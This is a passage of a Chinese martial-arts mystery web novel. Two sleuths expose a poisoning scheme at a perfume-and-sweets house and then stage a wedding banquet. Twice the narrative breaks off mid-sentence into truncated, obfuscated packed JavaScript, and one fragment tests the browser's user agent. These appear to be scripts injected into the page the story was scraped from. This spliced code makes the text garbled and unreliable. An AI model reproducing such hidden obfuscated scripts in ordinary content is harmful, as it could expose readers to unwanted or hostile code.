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“那一次表兄发现她神色慌张地关上门,勒令侍女赶紧将她换下的衣服洗干净。他那时正站在门外,刚刚好看见了这衣裙上有花茶的痕迹,于是他好奇地拿起来闻了闻,之后立刻有眩晕感,应当是掺了什么东西,当时却未多想。而第二天就听闻了老堂主的死讯。于是表兄借着酒劲儿把这一切都说了出来,还拉着唐姝要求她去衙门自首。” 院内其他人鸦雀无声,人们就这样静静地听着这名震江湖的千娇堂发生的丑闻,凉薄得像是在看一场戏。 “后来呢?”孙客问。 段邤抬起的眸子里布满了血丝,瞪着孙客怒吼道:“还有什么后来,后来我表兄就死了!” 李管事拍了拍他的肩,段邤像是才回过神似的,把眼神收回,擦了擦泪说:“后来,唐姝约我见面,说是为了我手中的莺燕刺绣抹额,愿意把这千娇堂转交到我手中。我自然答应了,进了这千娇堂,我何愁找不到她害死我表兄的证据!” 孙客听完表情有些不自然,瞪大了眸子。令知知过去挡在他面前问:“即是如此,可有证据?” “我还未找到……但我找到了她曾经的侍女,就是婧儿,她一定知道什么!”他原本混沌的眼神突然闪了一下。 “她不知道。”令知知打断他,然后转念一想说:“不对。她是十二女之一,她应该知道。” 人们来到婧儿房中,令知知让她口述秘方,孙客记录。 “鲜花糯米糍,三钱玫瑰、两钱桂花、两钱忍冬、少许糯米粉、少许糖、少许牛奶……花香烛,刃山蜜蜡、两钱百合、两钱薰衣草……” 不一会儿,孙客便写好了。奇怪的是,婧儿背的都是改良过的版本。 孙客眉头一皱,还未将白纸拿起,段邤就似是感受到了什么,对着其中一个中年男子说:“我记得,张家大舅也曾靠我千娇堂的吃食用品发家,不如请他也来,二者对比一下,也好做个区分啊。” 男子看着眼前的形势,不得不吩咐下人:“速去把大舅请来。” 老爷子不一会儿就被扶着进来了,他颤颤巍巍地坐在人堆中间,口齿不清地开始背秘方。 孙客耐心地誊写着,虽然于他而言,只是又默写了一遍。 不一会儿,两张单子呈现在人们面前。孙客对着令知知微微点头。 “婧儿姑娘的这张配方,并无不妥之处啊”,令知知一手拿着一张单子,顿了一下说:“而这张舅爷的配方里,或多或少都有让人中毒的花。虽数量较少,但如若日日饮用浸染,那后果可想而知。” “确是如此。曼陀罗、滴水观音还有这络石,都是毒花。”张舅爷的随行郎中接过单子后说。 终于扯到秘方身上了,令知知松了口气。 她处之泰然道:“我有一个猜想,大家不妨听一听。会不会是唐姝将她发明的新玩意儿她拿给老堂主验收,老堂主呢没有怀疑就拿在身边用。久而久之,这花展颜的身体每况愈下,直到那杯花茶,成了导火索。” 她观察着听众们的表情,见众人都默不作声,继续道:“而听段堂主所说呢,唐姝的秘密被李忠冼揭穿,那她会不会也是用了相同的方法,将她的郎君毒害了也犹未可知啊。” 令知知颇为挑事儿的语气,引得众人议论纷纷。 “事到如今,不如我们今日乘着端午节唐姝还在季州唐府中,替老堂主,替表兄寻个公道!”段邤喊道,“李管事,带上百花卫,我们去唐府逛逛!” 不等众人回答,段邤已经气冲冲地迈出门去,宾客们都不想惹事,都识趣地自行离开了。 令知知给孙客递上面具,说:“走,去凑凑热闹。” 7. 见得月明 月上枝头,棺椁周围的女人们不知何时已不再哭泣,应该是哭累了,强撑着身子的个个摇摇欲坠。 见有人来了,才又开始佯装哭泣。 好假,看来唐姝对自家侍女也不过如此。令知知无奈地撇撇嘴。 孙客递上香,恭恭敬敬地插在立香香炉上。 “你这蠢货,她害了那么多人,你居然还给她上香,脑子没事儿吧你?”令知知张口就骂,完全不顾及自己此时站在谁的府中。 孙客还未来得及开口,身边的侍女们便低头叫着“老爷”,扭过身去,唐文便出现在二人身后。 孙客下意识垂眸闪躲。 “二位是?”唐文问道。他表情十分淡然,不知有没有听见刚刚令知知的怒吼。 “我们是千娇堂的客人。”令知知一步跨到唐文面前,像极了护崽的母鸡。 唐文听闻二人并不是什么大人物,挺直了腰。 “你们怎么做事的?这是灵堂!怎能让外人惊扰姝儿。”唐文对着侍女们教训,又扭过头来微笑着对二人说,“天色已然不早了,二位还请早些回吧。” “唐太医好一出杀鸡给猴看的把戏啊!”令知知拍了拍手叫好道。 他伸出手做“请”的姿势,恭恭敬敬道:“二位,请回吧。” 令知知拎起衣角就往外大步走去,怒奔的样子活脱脱像一头牛。 孙客并未马上追去,只作揖问:“听闻唐太医常在宫中替贵人诊治,今日相逢有缘,草民有一事还望唐太医告知。” “你想知道什么?”唐文表情不屑。 “不知珞宁公主现况如何啊?”孙客已经许久未听到长姐的消息了,唐文是他这些年来遇到的唯一一个能接近公主的人,就算身份暴露,豁出去了也得抓住机会。 “自是安好。你为何要问啊?”唐文表情虽是淡然,但眼球微颤。 孙客早想好了对策,说:“不过是早些年曾在城中看过宫中寻医替长公主调养身体的皇榜,公主康泰便好。今日见得唐太医一面,实为荣幸,草民告辞。” 他行礼便就要跨出门去。与唐文擦肩时,唐文问:“这位公子,我们是不是在哪儿见过?” 孙客表面冷静,心脏也突突跳个不停。 “从未。”他扔下两字就跑去追令知知了。 唐文站在灵堂中,拔掉了孙客刚刚敬的香,摩挲着手指不知在想些什么。 端午的上弦弯月在黑幕中尤为耀眼,宁静皎洁,但也高傲神秘,亘古不变循环往复的月相,不知记载了多少回世间的嗔痴爱恨。 令知知正埋着头,满脸怒气地在街尾那条昏暗狭窄的小巷中快步走着。 她的步伐匆匆,仿佛一阵狂风在狭窄的巷子里刮过,带着一股不可阻挡的势头。周围的一切都消失了,只剩下她满腔的愤怒和焦躁。 还好巷子里没人,不然以她这性子横冲直撞的,不知谁要倒了霉。 不过,她在每个转角似乎都别过头看有没有人跟上来,看来,她也在等他的解释,或是单纯地哄哄她。 “知知,你别恼我。”孙客在后面追,任凭他怎么叫唤,前面的小牛听到声音,依旧没有停下,反而加快了脚步。 他眼看形势不对,轻蹬了一下墙,虽有些不稳,但还是跃到了令知知面前。 令知知故作冷漠地直直往前走,就在这个时候,她的身体却不由自主地晃动了一下,仿佛失去了平衡。或许是因为心中的情绪波动过大,或是其他原因,她一头栽进了孙客的怀中。 孙客被这突如其来的变故吓了一跳,但很快他就反应了过来,伸出手臂稳稳地扶住了令知知。 令知知抬起头,看着孙客那双关切的眼睛,心中的防线似乎被攻破了一角。她想要说些什么,但最终却只是默默地低下了头,任由孙客扶着她站稳。 这一刻,两人之间的气氛变得有些微妙。 “嘶。”他突然佯装吃痛,紧皱着眉深深。 她瞬间不知所措,只轻扶着他的胸膛,说:“你、你还好吧。” 孙客狡黠一笑,抿了抿唇,说:“你莫生气了。” 令知知看他没事,眉头微微舒展开来,紧绷的神经似乎也放松了几分。那口气,原本堵在胸口,让她觉得沉闷难受,此刻却仿佛被一股温柔的风轻轻吹散。 “那唐姝,害了许多人,这样的人,不配躺在那华贵的棺椁中,更不配你、你给她敬香。”她用手指狠狠戳着他的身体。 他握住她的手,说:“我那不是敬她,我只是想离她近一点,看看她是如何死的。” 令知知恍然大悟,激动地说:“那你可有看清?” 孙客摇摇头,令知知的眼神光也渐渐暗了下去。 “那唐文,似乎对我的身份已有所怀疑。”孙客将刚刚唐文和他的对话讲与令知知。 “怪不得是你家的名医,以后可得藏着点。”令知知看气氛过于低沉,开玩笑道。 随后她“哦”了一声,从袖中掏出一片抹额。正是先前段邤口中的莺燕刺绣抹额。 “你何时偷来的?”孙客惊喜,接过细细端详着。 令知知一副骄傲姿态,道:“这是夺回,夺回懂不懂!这本就是你的东西。” 她挽着他边走边说:“我趁唐文还在灵堂内同你说话,便去他妹房中寻此物。要不是为了找这东西,我早就跑出二里地了,你小子哪里还追得上我。” “谢谢大人。”孙客连忙收好,给令知知恭恭敬敬作揖。令知知打掉他的手。 二人打闹欢笑着回到千娇堂,门里居然传来好几阵怪叫声。 孙客赶紧推开门,几大箱财宝映入眼帘。这璀璨的光景,晃得他几乎睁不开眼。眨了眨眼,试图适应这突如其来的眩目光芒。 段邤站在财宝中发了疯似的大笑,丝毫看不出刚刚还与唐文争执恼怒过的样子。 令知知推开挡在面前的孙客,看见眼前这一幕,翻了个白眼,骂道:“见钱眼开的东西。” 这些应当都是唐文替妹赔礼道歉的礼物。 段邤远远望见二人归来的身影,眼中闪烁着激动的光芒。他急忙迎上前去,面带笑容地伸出了双手。 待二人走近,他紧紧握住他们的手,转身向着堆满金银珠宝的地方走去。 他步伐轻快,显然是心情大好,一路走一路向他们介绍着这些珍宝的来历和价值。 走到宝物们中间,段邤停下了脚步。他随手从旁边抓起几个沉甸甸的大金坨子,还有几条珠光宝气的珍珠项链,一并递到了二人手中。 手中的金坨子和珍珠项链沉甸甸的,二人被这突如其来的慷慨之举惊得目瞪口呆。 段邤看着他们惊喜交加的样子,哈哈大笑起来,眼中满是得意与满足。 令知知还是第一次看见这么多财宝,幸福洋溢在脸上憨憨道:“谢谢段堂主。” 孙客哭笑不得,在心里也念了句:“见钱眼开的家伙。” “不用谢,你多摸摸。”段邤还在给她怀里垒银子。 令知知张着嘴大笑,比段邤笑得还猖狂,还怪异。然后突然反应过来说:“摸摸?” 段邤理所当然道:“是啊,你们二人今天帮了我大忙,料你们也没见过什么好东西。借你们摸摸,见见世面。” “不是给我的啊?”令知知像是泄了气的皮球,一脸沮丧。 “给你作甚。”段邤说得漫不经心,扭过头又开始给孙客戴大金链子。 孙客皮肤白,脖子又长又细,戴上这夸张的东西倒像是财神爷边上的神童,一点都不显得庸俗。 “哈哈,好看好看。”他连连夸着孙客。 “欺人太甚!”令知知原想扔下身上一堆重物,但想着价格不菲,砸坏了还要赔钱。便又轻手轻脚地放回箱中。 但她可是令知知,哪能受得了这气,于是站定在院中,指着段邤的脑袋大喊:“段邤!明明你早就知道这一切!秘方是你故意放在书房里的,还淋上了巨香无比的香水。呕!太常博士何慎言、十二女中的婧儿,都是你安排好的!目的就是为了引我和孙客替你破案!”尖锐的嗓音在整个千娇堂中余音绕梁。 “你闭嘴!”段邤脚下生风地穿过宝箱,趁令知知没有反应过来迅速将一团黑球塞进令知知口中,焦急地凑近她耳朵低声道:“别说出去,我求你了,这是辟岭归元丹,正适合你这元气大伤之人。” 令知知听完,赶紧嚼吧嚼吧,然后试着运气。果然,内力恢复了不少,“一挥四百病,智刃有余地。果真是好药!”她一副神清气爽的样子。 “快点,也给他一颗。”令知知一副狐狸样,指了指还被各式项链缠绕着的孙客,然后撅着嘴伸出手讨要。 段邤摇摇头,道:“他没得治。” “你瞎说什么呢!”令知知揪起段邤的大耳朵,在他耳边大叫,“快点!” 段邤被吵得头晕,拍着令知知的手,喊:“疼疼疼!” 见令知知手劲儿愈发大,他说,“你把手放下,我好好与你说。” “刚刚我拉起你二人的手,”他抬起自己的右手,说,“右边是你的,经脉不通,血虚阳气不足,但你气长声高,身体强健,只需补元顺气即可。” 他又举起自己的左手,意味深长道,“左手那小子,脉象弦紧,时虚时强,”他示意令知知看向孙客方向,“你看他,面色淡白,呼吸紧促,脚下无力,是为中毒之相,如今要想恢复难如登天。” “是不是你右手比左手好使啊?” “不好意思啊,我是左撇子。” “那你可看得出他中的什么毒?”令知知又开始寻医问药。 段邤摇摇头,“解铃还须系铃人。不过你二位是栩先生的人,如果栩先生都不知,那应当天下无解了。” 令知知应该听过很多遍这种话了,她和孙客逃出宫后,寻遍天下名医,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙客随手折了枝石榴花递给他,说:“多谢段兄这几日的款待,一路顺风。” 段邤一愣,但还是接过来插在轿窗上,笑着说:“二位友人,再会。”说完车夫挥起长鞭,马蹄声越来越远,直至听不见。 此时婧儿和几个侍女都带着包袱准备离开的样子,见到二人她们都心存感激地行了礼。 “婧儿,你伤都好了?”令知知看着她手腕上还有些淤青,故意问。 婧儿不好意思,将衣服往前拉道:“令姑娘又取笑我。” 令知知说:“好了好了,如今真相大白,段堂主又准你们回乡探亲,我知你们心中欢喜。路上要小心些,结伴而行!”她像个老妈子一样叮嘱她们。 姑娘们谢过后都笑着踏上回家的路了。 此时李管事迁来一匹马,满脸抱歉说:“各位,栩先生要的东西都备齐了。只是突然休假,堂中侍卫侍女们人数又多,马车也不够了,只能委屈二位挤一挤了。” 孙客欲开口说些什么,令知知挡在孙客面前说:“无妨,谢过李管事了。”她也乖巧地行了礼。 看李管事回府,孙客才开口说:“我们不是有马了吗?” “牵回去给声儿燕儿作伴呗。怎么样,我又白嫖了一匹马!这匹叫什么呢?叫娇娇怎么样?”令知知喜上眉梢,牵着马就往出走。 孙客无奈笑了笑,抱起她就往马背上扔,吓得令知知吱哇乱叫。 “你别使劲儿了,那段邤都说……”她还没将昨天段邤诊断的结果告诉孙客。 看她坐稳了,他牵过马绳,说:“他说什么了?” “没什么。”她像个拨浪鼓似地摇着脑袋。 “你又瞒着我。”他表情无奈,“说吧,你怎么知道这一切都是段邤的手笔。” 令知知顺着他转移了话题,说:“我们潜入书房时,那些侍卫都没有百花令,应该就是普通侍卫。你再想想昨晚那些百花卫,个个身材魁梧力大如牛,若是那日是他们值守,以我俩现在这三脚猫功夫,早就被抓起来打了。 孙客回想,那日“幽会”之时,确实没有想象中艰难。 “再说那秘方,就算日日放在香坊也不可能被浸染得那么香,那么浓烈的桂花味,像是生怕我闻不见似的。”令知知指了指后面的货物,示意孙客打开其中一个箱子。 孙客照做,打开后闻了闻,似乎明白了什么,道:“这是桂花墨,是今年千娇堂的新卖品,无论是老堂主还是唐姝,都不可能用新品勾画在秘方上。所以,那秘方上不只两个人的笔迹,而是三个人的!” 令知知满意地点点头,继续说:“最后,婧儿身上的青淤,不过是用内力逼出皮肤的表面淤血罢了,过去我常用这法子逃学。至于那个何慎言,说是太常博士,昨日众人离开千娇堂时,却被我看见他鬼鬼祟祟地走进了西院的柴房,还换了身仆人衣服出来。” “综上所述,令某实在有些小聪明。”她得意洋洋,自夸道。 孙客又作揖,道:“孙某受教了。” 已到北郊外,孙客牵出燕儿和声儿,令知知下马将娇娇拴在马车后面,然后跳上马背。 她鬼叫道:“快马加鞭!不然我可受不了这大包香喷喷金银财宝的诱惑!” 8. 置办婚宴 回到白子城东门,二人还在布告栏前看着最近城中发生了什么要事,突然就听见几声叫嚷声,二人觉察不对,感觉方位似有些熟悉,走近几步便看见乌泱泱一群人包围在孔明楼门前叫嚷着。 令知知看大事不妙,甩给孙客一个眼神后连忙撇下马车疾跑过去查看。 拨开人群,只见陈鱼拿着鞭子胡乱在空气中挥舞,试图吓退这一众人。伙计们也都拿着趁手的工具,像话本里说的虾兵蟹将一样面露狠色地挥舞着武器,却实在不敢走出踏道。 “怎么了?”令知知过去捏住陈鱼的手腕。 她看令知知来了,停下手中的鞭子,道:“鲁班阁的人过来闹事,说我们家伙计从她家偷技。” 令知知还没来得及反应,就被虾兵蟹将们围起来了,现场像是在跳篝火舞似的,里三层外三层。对,令知知就是那篝火。 “掌柜的,我们可没有。我们这都是按您和陈姐的指导干的活,根本没去过鲁班阁偷学啊!”小虾米举着“钳子”一脸委屈。 小螃蟹也哭着个脸从西边横着踱过来说:“掌柜的,上次你们不在,那女的拿着砍刀就过来了,说我们抢他们的生意。你看这云杉柱,上面还有她的刀痕呢!她特别凶!” 我的云杉柱呜呜呜。令知知捂着胸口,心里在痛哭流涕。 “你就是孔明楼掌柜的?”一声她再熟悉不过的女声从人群中传来。 楼前众人纷纷安静下来,给那执刀女让出一条路。 令知知赶紧背过面去,手指越攥越紧。慌张得连肩膀都随着心跳颤动。 完了,是她。 “还不敢紧滚过来给本小姐磕上几个响头,没准我还能饶过你。”那女子口气还不小。 “敢做不敢当,就你也配姓令,我呸!”见令知知仍旧背对着她,便想伸出手掐上令知知的肩膀。 而此时,令知知紧张地闭着眼,心里不停念着“阿弥陀佛”。 “这位姑娘有何贵干?”孙客在关键时刻总能及时出现将令知知挡在身后,趁那女子不注意小心翼翼地从后递过一只面具。 “你就是那小白脸?”执刀女上下打量了一翻眼前这个男人,不屑地笑了声,“我当那男花魁长得有多美艳呢,原来不过是这等手无缚鸡之力的男子,毫无阳刚之气。” “你、你瞎说什么呢!”令知知戴好面具出来,嗓音还有些哆嗦。 “唷,掌柜的这会儿倒敢出来了,”她嘲讽道,“啧啧啧,还戴个破面具,我倒要看看你是何等人物!” 说完,她眼神似有利剑穿出,瞬间拔刀而出,就要往令知知耳朵砍去。 那气势如虹,周围人群吓得连连后退。 气沉于底,力藏于里。令知知轻侧于左,躲开了刀刃,后撤一步,脚步轻盈地藏在柱后。那辟岭归元丹可不是白吃的。 竟有如此功夫。那女子自是不甘,加快脚步跟上,接连挥刀过去。 廊柱很快就被劈得四分五裂。看她力大如牛,令知知只能躲为上策。如同打地鼠般,这个柱子要倒了,便撤到另一根柱子后面。 直到四根柱子都摇摇欲坠,令知知才抱着手退到人群中去。 众人只听她掰着手数道:“一、二、三。” 抱厦的外檐木架瞬间倒塌下来,灰尘烟屑也四溢而起。哪里还看得见那执刀女的身影。 好事者们连忙捂着鼻子挥着大袖,难受地咳嗽着。 几个仆人看这形势连忙冲进烟雾里寻人。“大小姐!大小姐!” 听取“大小姐”一片。 令知知无奈地摊手,向众人说:“这与我无关,我可是一招未出啊。” 旁边卖菜的说:“都说这班项之女脾气暴躁,今日一见,还要更凶狠些。” “就是就是,这哪里看得出是个读书人。” 令知知朝着虾兵蟹将们点点头,便将看戏的人们打发走了。 此时班绫被仆人们搀扶着从废墟里出来,灰头土脸地耷拉着头。 “我下次、下次一定赢你。”她举起拳头在空中挥来挥去,丢下这句话踉踉跄跄地落荒而逃。 “你就不怕砸伤她?”孙客闪现在她身侧。 捡起一块腐木,递给孙客道:“门口这些木头早被白蚁蛀空了,她那力大如牛的,伤不了她。” 看班绫走远了,她脸不红心不跳地抱起陈鱼一个劲儿的蹭:“小鱼鱼,你想我了没。” 陈鱼一改往日的冷漠,手松开鞭子,说:“想了。” 这还是陈鱼吗?令知知的手又使劲了些,“真的假的?!” 只见陈鱼从背后轻轻扔鞭子吊在令知知的手上,打了个结,瞬间一拉紧。然后快速蹲下逃离令知知的怀抱。 她撤步站起,冰冷地说:“假的。”然后扭头回楼里去了。 “欸?欸?我的手?嗯?怎么个儿事?”只留令知知在原处发愣。 回到楼中,虾兵蟹将们围着令知知诉苦,说起班绫的大刀,又讲起修缮业萧条,入不敷出。 “够了。”她拍桌,“我不过离开了几日,这孔明楼便要散了不成?”她对着眼前这帮烂泥扶不上墙的伙计发火。 几个虾兵蟹将已然变成臭鱼烂虾,看令知知表情不对,闭口藏舌。 “即是如此,想离开的现在就可以走,不耽误各位另寻他业。”她坐在柜台上,像是花果山的美猴王下令驱逐窝藏二心之人。 “掌柜的……我……” “实在是家有老,下有小……” 那几个人似乎已有离开的打算。 “先说好,今日才初七。这个月的月薪我是不会结的。”令知知摆着个臭脸,那几张支支吾吾的嘴闭了起来。收拾好桌椅便头也不回的走了。 楼内走了三五人,又没有新客光顾,楼里显得更加空寂了些。 这些伙计要么是从南边逃来的难民,要么是在街头卖艺的乞儿,令知知可怜他们才将他们收容,教他们手艺,介绍商源。到头来,总归还是养了几只白眼狼。 小虾说:“当初是掌柜的在城北捡了我,给我买衣裳还喂我吃饭,要是没有掌柜的,我早就饿死了。我此生愿与掌柜的同甘共苦!” 喂你吃饭?孙客眯着眼看着令知知,仿佛在说:“我怎么不知道。” 不好意思啊,不好意思。令知知眯着眼对孙客假笑,她本拿的是心寄孙客一人的剧本,没想到演起了博爱的角色。 “是啊是啊,掌柜的、孙哥儿,还有陈姐,哪个不是像对待亲弟弟一样对待我们?若不是有掌柜的帮我凑钱,我都娶不了娘子。咱们兄弟几个不是个不懂得知恩图报的人,愿为孔明楼做牛做马。”小蟹傻傻说。 孙客听了这些话,像是要咬碎了牙,仍旧笑里藏刀的望着令知知。 令知知心虚,立马叫停了他们,转移话题说:“呃,各位,今日留下来的,我都知晓你们的心意了。这样,目前我们单子不多所以人手应该也正正好,还勉勉强强能支撑起我们这个家。” 她环顾四周,脑子里像是有什么坏主意。 “小虾小蟹小泥鳅,你们几个今天把楼内好好打扫一遍,我明天自有用处。”她拍拍衣裳跳下,溜到厨房去了。 “小泥鳅?” “小虾?小蟹?” 杨礼秋,张开洋和李菊郎三只水中物站定不明所以,连连发出疑问。以前楼里伙计多,长得也差不多,所以令知知都不记得谁是谁,现在走了一些人,便想着取个外号方便使唤些。 “就当是你们掌柜的给你们取的小名吧。”孙客虽然心里不快,但还是尽量给令知知找补。 小泥鳅小虾小蟹点了点头,各自拿起扫把抹布准备大干一场。 突然,几声哀嚎从厨房中传出。 随即陈鱼摆着臭脸从厨房里出来。 “好了,都闭嘴。干活。”陈鱼端出中药递给孙客,说:“令知知这次回来脉象上可平稳了不少,说明这药还是有些用的。” 孙客听了后端过来一口干,先前斯文儒雅的样子已被凡事磨得粗糙了些,这会子倒有些英雄饮酒的风范。 “对了,陈鱼,你与那阮徽是旧友,那你可知什么百医行羌青?我们有些东西要交给她,但阮徽现在去游医了,我们无处去寻啊。” “我和阮徽不熟。还有,羌青这个人我也没听过。”陈鱼黑着脸离开了。 孙客像是知道自己踩到了陈鱼的雷点,闭住嘴不再过问。 第二日一早,令知知就拉着狸儿出去了。再回来时,背后的车里杂乱无章地堆满了红花喜字、鸳鸯绣布。但却不见令知知人影。 “这是?”陈鱼出来接货,被映入眼帘的一片红吓得一怔。 小泥鳅用肩碰碰小蟹,说:“掌柜的不会是今日就要娶了孙哥儿吧?” 小虾连忙跑到柜台边沾着口水翻年历,大喊:“五月初八,宜会亲友、上官赴任,结!婚!姻!” 孙客才从绳索上滑下,像是未睡好的样子,哈欠连天。 小虾拉着他到外面,和他说令知知今日就要娶他的消息:“啊?今天?”他疑惑地指着自己,“她娶我?” 有没有搞错……孙客一头雾水。难不成她听说自己心悦公主,要先占为己有了? “可不就是吗?”小泥鳅抱拳恭喜道,“恭喜孙哥儿,得偿所愿。” “恭喜恭喜。”小蟹小虾也附和道。 孙客虽是不信,但耐不住人们起哄,手也抱拳跟着恭祝了起来。 众人茫然之际,一坨红色摇摇晃晃地冲进几人视野中。 “愣着干嘛,还不赶紧过去帮忙!”陈鱼一眼看出那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们大把抓着喜糖,什么五仁糖、冬瓜糖、花生酥,全都倒了好几袋子。 “那你是怎么想到要替肖家置办婚宴的?” “昨日回城,在布告栏上看到了肖家宴请的帖子,想起他家当年运矿途中被山匪打劫,是我和孙客拔刀相助才保住了那几箱白花花的银子,后来还托我给他们造了个防火防盗的押送车。于是肖老爷说欠我个大人情。这次,我便要他们还了这人情。” “可这婚宴之事,他们应该早有筹备吧?”陈鱼将糖袋子打包好准备递过去称重。 “他们在玄川已经办过一次了,这次只是因为要在白子城开新铺子,为了与城中商贾世家广结良友打点关系,才又再办一次。” 陈鱼点点头,若有所思。 再回到楼中,已是一番喜庆的模样,大红灯笼高挂,红烛熠熠生辉。肖家的管事也来了正和孙客商量着婚宴事宜。 见令知知抱着喜糖来了,便迎上去打招呼,“令姑娘,这些都吩咐下人去做吧。”他转身唤来几个能干的,接过东西后十分利索地各桌分放着。 “行。来几个人和我一起撒青松枝。”她倒也不客气,毕竟现在楼中人手实在太少。 青松枝铺满了孔明楼的地板,松针叶的清香充满了整间屋子。一闻到这辛香青涩的味道,令知知像是回到了小时候随跟着班项屁股后面吃席的日子,深深吸了一口气。 孙客还未参加过白子城当地的宴席,第一次看着红绿相间的场面有些好奇,“为何要垫青松枝呢?” “在我们白子城呢,青松有着忠贞不渝,永葆长青的吉祥寓意。在喜宴上是不可或缺的象征。”令知知和他解释道。 我们白子城?肖家管事疑问:“难道令姑娘是白子城本地人?之前竟不知,怪不得这婚宴办得如此妥帖。” “噢!我是把这白子城当作第二故乡了嘛!我老家在朝冕城。”她差点露了馅,心虚地遮掩道。 “这样啊。令姑娘倒是让我想到一个故人。”管事摸了一把胡子,若有所思。 “城中不都传言说那人是我远房亲戚吗?”令知知知道他讲的是令小声,像是证实流言道。 “我就说嘛,那小儿和你,还真有几分相似,都是如此亲历亲为、行事周全啊。可惜啊……”他适时地止住了嘴,咳咳几声。 令知知劝道:“有害于家国之人,管事不必惋叹。” 他叹叹气离开了。 楼中客越来越多,见过的没见过的、有钱的有权的都来了,这肖家银两给得多,令知知布置时也尽力完美。 还希望别出什么岔子啊。 9. 偶遇旧人 中午的婚宴新郎新娘并不会到宴席上抛头露面,但唢呐和歌舞并没有因此停歇,楼中每进一位客人,唢呐便会吹奏以示主家的感谢之情。 巳时已过大半,伙计们打开窗,后院红肉炖飘来的香气瞬间溢满楼,宾客们闻到香味都自觉地落座八仙桌,等待享用宴席。 孙客在挂礼处忙活一早上,被那些汉话不精、满嘴口音的相亲老人们围攻,记录姓名礼金实在有些头疼。 “我叫牛进喜。” “可是牛羊的牛?” “牛!牛邦的牛!看着文质彬彬的,却连字都不识几个!”刘进喜狠狠把钱砸在桌上离去。 孙客不慌不忙,心中道,此人原就是西街染坊的老板刘进喜。 “我叫斯旗,斯肥的斯,旗开得胜的旗。” 哦,原来是东角巷的有名商户施旗。 陈鱼在旁边送茶水,因为脸上有伤,她今日戴了面纱。每走进一个人她都站在远处观察,等落座了才上前招呼。 宾客们陆陆续续都入了座,孙客也闻见了饭菜香,肚子咕咕叫了起来。于是问身旁帮忙收礼金的小泥鳅:“还未到午时,便要开席了吗?” “这是我们这儿的规矩,巳时过半用午宴,申时过半开晚宴。” “这样啊,”他放下毛笔,深吸一口气闭目休神,“难道这就是好喜碗吗。” “好喜碗是要到申时正宴才吃的,中午应该吃的是酸辣弓鱼、海格和其他家常菜。”小泥鳅将银子都放在红袋里装好。 “海格?那是什么?” 小泥鳅腼腆一笑,道:“你待会不就知道啦!” 说完,宴席起,伙计们将热腾腾的饭菜都端了出来,宾客们把酒言欢,好生快活。宴食一半,肖老爷子挨桌敬酒,似是几位 友人相逢,被拉着多喝了几杯,醉醺醺地逢人就讲些感谢的话。 楼内不大,于是伙计们都在后院吃饭。虾兵蟹将看着眼前的海格早就垂涎三尺,就等着陈鱼“发号施令”了。 “吃吧!”陈鱼说。 于是小泥鳅小蟹连忙夹起海格放进由酱油生醋和辣椒香菜制成的蘸料中,然后搅合捞起放入口中。 “好几年没吃了,好嫩好滑,好好吃!”小蟹一脸享受。小泥鳅更是连话都不说,又捞起一块放入口中。 孙客看着眼前这一盘粉嫩的生肉,有些难以下咽。 “孙哥儿是第一次见海格吧?”小虾夹起一块鱼肉放进他碗里,继续说,“我们外乡人吃不惯这个也没事,吃鱼吧!” 小泥鳅和小蟹跟着令知知的时间要比小虾久些,又好吃这一口,所以不论什么食物只要能吃,他俩都不挑。 陈鱼将生肉端到小泥鳅面前,换了一碗鱼过来。孙客道谢。 此时令知知也从楼中走来,坐下吃饭。夹起生肉在蘸料中搅合后放入口中,行云流水般,她白皙脖颈上的喉咙一动,若无其事地吞了下去。 这个真的能吃吗?孙客咽了咽口水。于是他试探性地夹起,学着他们一样轻蘸佐料准备放入口中,额头上竟都起了些汗珠。 众人一脸惊异地看向他,直到他咽下,众人的眼神转为好奇。 “怎么样怎么样?”令知知拍打着他的大腿迫不及待地问。 “好像……不难吃。”他未细品,有些囫囵吞枣。 “这简直是白子城的一大美食,怎么到你口中就变成不难吃了?”令知知大口扒拉着米饭,似是饿了许久。 “这有些炸好的酥肉,孙哥儿若是吃不惯海格,可以吃点这个。”身后的大厨递上一碗香酥猪肉,引得桌上其他人的红眼。 “多谢。”孙客接过,夹起一块轻轻咬下,酥皮酥脆可口,内里却又鲜嫩多汁,幸福感在他脸上瞬间绽开。虾兵蟹将见状也接连吃了好几块。 “下午按照传统有耳子歌在楼内表演,大家可以去看看。我先行一步。”令知知吃好了,抱着些东西就轻蹬一脚上二楼准备去了。 为了防偷盗,孔明楼都是没有楼梯的,一楼陈放的都是些大件无法搬走的材料,二楼放的是工具,三楼是二人的寝室,暗层里放的是些机关暗器。除了伙计们以外楼内人都会轻功,所以上下楼都是靠功力。但孙客脚力不稳,所以令知知在楼中制了一条铁索,说是为了耍酷,但实则是为了方便孙客上下。 但因为这次办喜宴,楼中悬着一条绳索实在不太美观,于是上下拿换东西的差事自然交付在令知知肩上。 “掌柜的可真辛苦。”小蟹嘴里塞满了米饭。 小虾对孙客道:“下午有耳子歌,反正现下也睡不了午觉了,不如一起去看看。” 孙客点点头。这次婚宴倒是给他长了不少见识。 “耳子歌”在当地语言中意为“哑巴跳的舞蹈”,古时候是驱逐疫鬼的一种巫舞,后作为驱邪、祈福的舞蹈流传于民间,婚礼或建新房这样的喜事上会常出现耳子歌来调动喜悦的气氛。 用过饭后,几人再回到楼中打扫,此时令知知在二楼已经拉好红绸。 她看见几个探头探脑的男子进来了便喊道:“您几位的衣服我都放在后院厢房里了,小泥鳅你们几个帮忙招待一下。” “好嘞,您几位用饭了没,没用过的话我们后厨有今早新打上来的弓鱼……”小泥鳅倒是个有眼力见的。 不过十个人的剧团中,有两个含胸驼背早已穿好服饰的男子在一行人中十分畏畏缩缩,和年轻的面容实在有些不搭配。 大热天的,穿着剧服就来了,难道不热吗?令知知纳闷。 未时,耳子歌开场了。 耳子歌有三大节,分为“耳子闹宴”、“耳子闹婚”和“送土神”。此时有歌舞坐镇,倒也没有什么需要忙活的了。 达官显贵们自然地坐在前排赏舞,有美酒好茶作陪,伙计们只能倚着柱子从人群中插缝看。 令知知倒是找了个好地方,她独自坐在二楼,像是独享了贵宾席。 